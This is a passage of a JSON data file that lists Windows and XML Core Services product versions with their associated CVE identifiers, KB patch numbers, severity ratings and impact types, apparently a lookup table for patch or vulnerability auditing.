Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981350","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-1885","kb":"2229593","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Windows XP Service Pack 3":[{"cve":"CVE-2008-0015","kb":"973540","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4841","kb":"923561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-1885","kb":"2229593","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3138","kb":"2661637","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3144","kb":"2443105","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2416447","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518864","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5065","kb":"2914368","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0295","kb":"2901110","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft XML Core Services 3.0 on Windows 10 Version 1511 for 32-bit Systems":[{"cve":"CVE-2017-0022","kb":"4013198","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows 10 Version 1511 for x64-based Systems":[{"cve":"CVE-2017-0022","kb":"4013198","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows 10 Version 1607 for 32-bit Systems":[{"cve":"CVE-2017-0022","kb":"4013429","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows 10 Version 1607 for x64-based Systems":[{"cve":"CVE-2017-0022","kb":"4013429","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows 10 for 32-bit Systems":[{"cve":"CVE-2017-0022","kb":"4012606","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows 10 for x64-based Systems":[{"cve":"CVE-2017-0022","kb":"4012606","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows 7 for 32-bit Systems Service Pack 1":[{"cve":"CVE-2017-0022","kb":"4012215","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows 7 for x64-based Systems Service Pack 1":[{"cve":"CVE-2017-0022","kb":"4012215","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows 8.1 for 32-bit systems":[{"cve":"CVE-2017-0022","kb":"4012216","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows 8.1 for x64-based systems":[{"cve":"CVE-2017-0022","kb":"4012216","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows RT 8.1":[{"cve":"CVE-2017-0022","kb":"4012216","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1":[{"cve":"CVE-2017-0022","kb":"4012215","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2008 R2 for x64-based Systems Service Pack 1":[{"cve":"CVE-2017-0022","kb":"4012215","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)":[{"cve":"CVE-2017-0022","kb":"4012215","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2008 for 32-bit Systems Service Pack 2":[{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)":[{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2008 for Itanium-Based Systems Service Pack 2":[{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2008 for x64-based Systems Service Pack 2":[{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)":[{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2012":[{"cve":"CVE-2017-0022","kb":"4012217","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2012 (Server Core installation)":[{"cve":"CVE-2017-0022","kb":"4012217","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2012 R2":[{"cve":"CVE-2017-0022","kb":"4012216","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2012 R2 (Server Core installation)":[{"cve":"CVE-2017-0022","kb":"4012216","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2016":[{"cve":"CVE-2017-0022","kb":"4013429","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2016 (Server Core installation)":[{"cve":"CVE-2017-0022","kb":"4013429","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Vista Service Pack 2":[{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Vista x64 Edition Service Pack 2":[{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"}],"Windows 10 Version 1507 for 32-bit Systems":[{"cve":"CVE-2017-0143","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"}],"Windows 10 Version 1507 for x64-based Systems":[{"cve":"CVE-2017-0143","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"}],"Windows 10 Version 1511 for 32-bit Systems":[{"cve":"CVE-2015-6100","kb":"3105211","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3105211","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3105211","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3105211","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3116900","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3116900","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6168","kb":"3116900","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3124263","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3124263","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3124263","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3124263","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3135173","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3135173","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3140768","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0151","kb":"3147458","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-0189","kb":"3156421","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3163018","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3192441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185614","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7200","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3198586","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4013198","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019473","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019473","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041689","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11823","kb":"4041689","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11830","kb":"4048952","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4053578","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8470","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025344","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038783","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038783","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038783","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038783","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038783","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038783","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056888","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056888","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056888","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074591","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074591","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0826","kb":"4074591","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0832","kb":"4074591","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0886","kb":"4088779","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088779","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088779","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088779","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093109","severity":"Important","impact":"Information Disclosure"}],"Windows 10 Version 1511 for x64-based Systems":[{"cve":"CVE-2015-6100","kb":"3105211","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3105211","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3105211","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3105211","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3116900","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3116900","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6168","kb":"3116900","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3124263","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3124263","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3124263","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3124263","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3135173","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3135173","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3140768","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0151","kb":"3147458","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-0189","kb":"3156421","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3163018","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3192441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185614","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7200","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3198586","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4013198","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019473","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019473","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041689","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11823","kb":"4041689","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11830","kb":"4048952","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4053578","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8470","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025344","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038783","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038783","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038783","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038783","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038783","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038783","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056888","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056888","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056888","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074591","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074591","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0826","kb":"4074591","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0832","kb":"4074591","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0886","kb":"4088779","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088779","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088779","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088779","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093109","severity":"Important","impact":"Information Disclosure"}],"Windows 10 Version 1607 for 32-bit Systems":[{"cve":"CVE-2016-3237","kb":"3194798","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3189866","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7200","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3200970","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4013429","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041691","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11823","kb":"4041691","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11830","kb":"4048953","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4053579","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022715","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8470","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025339","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103723","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0826","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0832","kb":"4074590","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0877","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0880","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0882","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0886","kb":"4103723","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0952","kb":"4343887","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0975","kb":"4093119","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0982","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103723","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457131","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462917","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462917","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457131","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462917","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462917","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103723","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487026","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480961","severity":"Important","impact":"Elevation of 